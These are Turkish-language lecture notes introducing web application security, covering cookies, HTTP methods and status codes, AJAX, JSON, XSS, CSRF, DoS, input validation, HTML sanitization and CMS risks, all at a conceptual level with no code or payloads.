Cookie, tarayıcının kullanıcı cihazında depoladığı küçük metin dosyalarıdır.

- Oturum durumunu korumak, tercihleri hatırlamak ve kullanıcı deneyimini kişiselleştirmek gibi amaçlarla kullanılırlar.
- Kötü niyetli kullanıcılar, Geliştirici araçları (F12) menüsünden oturum kimlik bilgisini (Session ID) öğrenip, silip veya değiştirip sahte oturum açarak profil bilgilerine erişebilir (Oturum ele geçirme).
- Parola bilgisi gibi kritik verilerin çerez dosyasında metin olarak saklanması tehlikelidir.



WEB SERVİSİ İLETİŞİM METOTLARI

Web uygulamalarında işlemler, tarayıcılar tarafından desteklenen HTTP metotlarıyla yapılır:

- POST: Oluşturmak (Create), sunucuya veri yollamak.
- GET: Okumak (Read), sunucudan veri almak.
- PUT: Güncellemek (Update), sunucudaki belli bir kaynağın tamamen güncellenmesi.
- PATCH: Değiştirmek (Modify), sunucudaki belli bir kaynağın kısmi olarak güncellenmesi.
- DELETE: Silmek (Delete), sunucudaki bir kaynağı silmek.



HTTP İSTEK DURUM KODLARI

Web uygulamasında oluşabilecek durum kodları gruplandırılmıştır:

- 1xx: Akış ile ilgili bilgi kodları.
- 2xx: İsteğin başarılı olduğu belirtilir (200 OK, işlem tamam).
- 3xx: İsteğin tamamlanması için ek bilgi gereklidir (Yönlendirmeler).
- 4xx: İstemciden dolayı oluşan hatalardır (404 Not Found, sayfa bulunamadı).
- 5xx: Sunucudan kaynaklanan hatalardır (503 Service Unavailable, servis kullanım dışı).

ASENKRON VERİ ALIŞVERİŞİ (AJAX)

AJAX (Asynchronous JavaScript and XML), web sayfalarının arka planda sunucuyla veri alışverişi yapabilmesini sağlayan teknolojidir.

- Web sayfasını yenilemeden veri alışverişi yapılmasını sağlayarak kullanıcı deneyimini geliştirir.
- Servis bir uzak sunucuda çalışırken ağda oluşan gecikmelerden dolayı, servisin kullanılacağı yazılımın asenkron veri alışverişini desteklemesi gerekir.



JSON VERİ DEĞİŞİM FORMATI

- JSON (JavaScript Object Notation), verilerin taşınması ve depolanması için kullanılan, dosya boyutu küçük olan bir veri değişim formatıdır.
- İnsanlar tarafından okunması ve yazılması kolay olan metin tabanlı bir format sunar.
 - JSON, genellikle web uygulamaları arasında veri alışverişi (Web API'ler) için tercih edilir.



Web uygulaması yayımlandıktan sonra oluşabilecek istenmeyen durumların tespiti ve giderilmesi için sürekli çalışmalar yapılmalıdır.

- Güvenlik Denetimleri: Web uygulamalarının güvenlik açıklarının tespit edilmesi ve düzeltilmesi için düzenli kontroller yapılmalıdır.
- Bu çalışmalar arasında sızma testleri, log analizi, hata izleme ve acil durum müdahale planları bulunur.



XSS KULLANILARAK YAPILABİLECEK SALDIRILAR

XSS zafiyeti kullanılarak yapılabilecekler şunlardır:

- Cookie bilgileri çalınabilir.
- Web sayfası başka bir sayfaya yönlendirilebilir.
- Farklı bir sunucudan zararlı kodlar çalıştırılabilir.
- Keylogger olarak kullanılabilir (tuş girişlerini kaydetme).
- (DHCP ile IP almasını engelleme, XSS saldırısının doğrudan sonucu değildir, bu bir ağ katmanı saldırısıdır.)



DoS (Denial of Service), bir web uygulamasına aşırı yük bindirilerek servisin dışı kalmasına neden olan saldırı türüdür.

- Sunucudan binlerce istekte bulunarak sunucuyu servis veremez hâle getirmek bu kategoriye girer.
- Saldırı kaynağının tespiti zor olabilir.
- Önlem: İstekler arasına belli bir süre kısıtlaması (Rate Limiting) eklenerek bu tür sel (flood) saldırıları engellenebilir.



CSRF: CROSS-SITE REQUEST FORGERY

CSRF saldırıları, güven saldırıları olarak da bilinir.

- Saldırganın temel amacı, hedef sitede yetkili bir kullanıcıya izinsiz işlem yaptırmaktır.
- Saldırgan, kullanıcının tarayıcısında mevcut yetkilendirme bilgilerini kullanarak, kullanıcının bilinci dışında işlemler gerçekleştirmesine olanak tanır.
- Saldırganın hedefi, genellikle site üzerinden yetki almak veya kritik işlemleri gerçekleştirmektir.



Basit uygulamalarda bile beklenmedik sorunlar olabilir; kullanıcıdan gelen giriş bilgileri ve olası tüm ihtimaller denenmelidir.

- Web programlama dili içinde doğrulama (validation) komutları bulunur. Boş giriş ve hatalı metinler işlemde geçirilerek kullanıcıya uyarı verilmelidir.
- Örneğin doğum yılı gibi sayısal beklenen bir alana metin girilmesi durumunda hesaplama hatası oluşur, bu yüzden gerekli kısıtlamalar yapılmalıdır.



HTML TEMİZLİĞİ (SANITATION)

HTML temizliği, güvenilmeyen kaynaklardan alınan HTML içeriğinin güvenli hâle getirilmesi işlemidir.

- Bu işlem, zararlı HTML etiketleri, özellikleri veya içerikleri filtrelenerek gerçekleştirilir.
- Güvenli HTML içeriği oluşturmak için:
 - Sadece güvenli etiketlere izin verme, zararlı etiketleri kaldırma veya kaçış karakteriyle etkisizleştirme.
 - Güvenli olmayan özellikleri kaldırma veya devre dışı bırakma.
 - Güvenilir bir HTML ayrıştırma (parser) veya sanitasyon kütüphanesi kullanılmalıdır.



Web sitesi geliştirmek için bilinmesi gereken temel teknolojiler:

- HTML (HyperText Markup Language): Web sayfalarının altyapı dili.
- CSS (Cascading Style Sheets): HTML öğelerinin stillerinin düzenlenmesi.
- JavaScript: Yerelde çalışan ve etkileşim desteği sağlayan dil.
- SQL (Structured Query Language): Veri tabanlarıyla etkileşim kurmak için kullanılır.
- Backend dillerine örnek: ASP.NET (C#), PHP, Java, Node.js, Python.



GÜVENLİK İÇİN İLERİ KAVRAMLAR

- MVC (Model View Controller): İş mantığı katmanı (model), sunum katmanı (view) ve veri erişim katmanı (controller) olarak ayrılan yazılım modelidir.
- .NET Core Web API: Diğer uygulamalara (masaüstü, mobil) destek amaçlı servis yapılabilir (hava durumu, kullanıcı sayısı çekme vb.).
 - WebSocket: Gerçek zamanlı ve çift yönlü iletişimi destekleyen bir protokoldür (Sohbet, oyun için kullanılır).

Web programlama dillerinin tamamında benzer güvenlik problemleri yaşanır.

- Saldırganlar hedef ortamın işletim sistemini, kod altyapısını ve veri tabanı sürümlerini öğrenip açık kaynak kodlu CMS'lerdeki açıklardan yararlanabilir.
- Popüler CMS'ler: WordPress (PHP), Joomla (PHP), Drupal (PHP), Umbraco (.NET).
- Kullanılan sistem eski sürüm ise birçok açık barındırır.



WEB GÜVENLİĞİNDE ANAHTAR KELİMELER

Web güvenliği alanında sıkça karşılaşılan anahtar kelimeler şunlardır:

- Kali, Linux, SQLi (SQL Injection), Injection, HTTP, XSS (Cross-Site Scripting), WAF (Web Application Firewall), IDS (Saldırı Tespit Sistemi), IPS (Saldırı Engelleme Sistemi), RFI (Remote File Inclusion), LFI (Local File Inclusion), OWASP, zafiyet, kara liste, beyaz liste.



WEB UYGULAMA GÜVENLİĞİNE GİRİŞ

Süleyman **EZDEMİR**

suleyman.ezdemir@giresun.edu.tr

